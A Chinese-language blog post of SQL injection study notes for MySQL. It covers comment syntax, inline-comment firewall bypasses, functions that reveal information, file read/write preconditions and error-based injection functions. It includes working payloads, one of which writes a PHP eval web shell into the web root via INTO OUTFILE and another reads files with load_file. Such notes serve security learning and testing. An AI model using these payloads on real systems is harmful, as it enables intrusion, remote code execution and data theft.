1. 程式人生 > >SQL註入筆記

SQL註入筆記

base 逗號 HA 跨行 string 路徑 AS gen from

SQL註釋

  單行註釋  #後面直接加內容

        --後面必須加空格

  多行註釋  /**/中間可跨行

  -- + 會刪除

  內聯註釋是:

MySQL數據庫為了保持與其他數據庫兼容,特意新添加的功能。 為了避免從MySQL中導出的SQL語句不能被其他數據庫使用,它把一些 MySQL特有的語句放在 /*! ... */ 中,這些語句在不兼容的數據庫中使用時便 不會執行。而MySQL自身卻能識別、執行。 /*50001 */表示數據庫版本>=5.00.01時中間的語句才會執行。 在SQL註入中,內聯註釋常用來繞過waf。

  /*!12345user()*/

  服務器端連接數據庫所使用的用戶。

  mysql 能16進制識別

execute(‘sql語句‘)  //execute函數中可以寫sql語句,且為字符串,那麽就可以傳入一些變形字符串來繞過waf
union select 1,2,3 只顯示一個2 說明只用到了這個字段

SQL註入中一些常用的MySQL函數/語句:

  user()          當前用戶

  database()         當前數據庫

  current_user()       當前用戶名(用於查看權限)

  version()         數據庫的版本

  @@datadir        數據庫的路徑

  load_file()         讀文件操作

  into outfile() /into dumpfile   寫文件操作

SQL註入讀寫文件的根本條件:

  1. 數據庫允許導入導出(secure_file_priv)

  2. 當前用戶用戶文件操作權限(File_priv)

   #查看數據庫是否開啟導入導出

      show variables like "secure_file_priv";

   #查看當前數據庫用戶

      select current_user();

   #查看當前用戶是否具有文件讀寫權限

      select File_priv from mysql.user where user=‘root‘ and host=‘localhost‘;

字符串連接函數

    concat(str1,str2)函數 直接連接

    group_concat(str1,str2)函數 使用逗號做為分隔符

    concat_ws(sep,str1,str2)函數  使用第一個參數做為分隔符

基於報錯的註入:

  1.updatexml函數

  2.xpath形式

    15種報錯函數:

      floor()                  multipolygon()

      updatexml()                linestring()

      extractvalue()              ST_LatFromGeoHash()

      exp()                   ST_LongFromGeoHash()

      GeometryCollection()          GTID_SUBSET()

      polygon()                 GTID_SUBTRACT()

      mutipoint()                ST_PointFromGenHash()

      multionlinestring()    

sql註入讀取文件:

    寫入文件。url‘)) union select 1,‘2‘,‘<?php @eval($_POST[a]);?>‘ into outfile ‘c:/www/2.php‘%23雖然提示錯誤,但還是寫入進去了。

    讀取文件。url‘)) union select 1,2,load_file("C:/WWW/2.php") into outfile ‘C:/WWW/3.php‘%23雖然提示錯誤,但還是可以讀取。

      file://c:/boot.ini

  不會報錯,但是頁面不正常,可以判斷是bool型註入

SQL註入筆記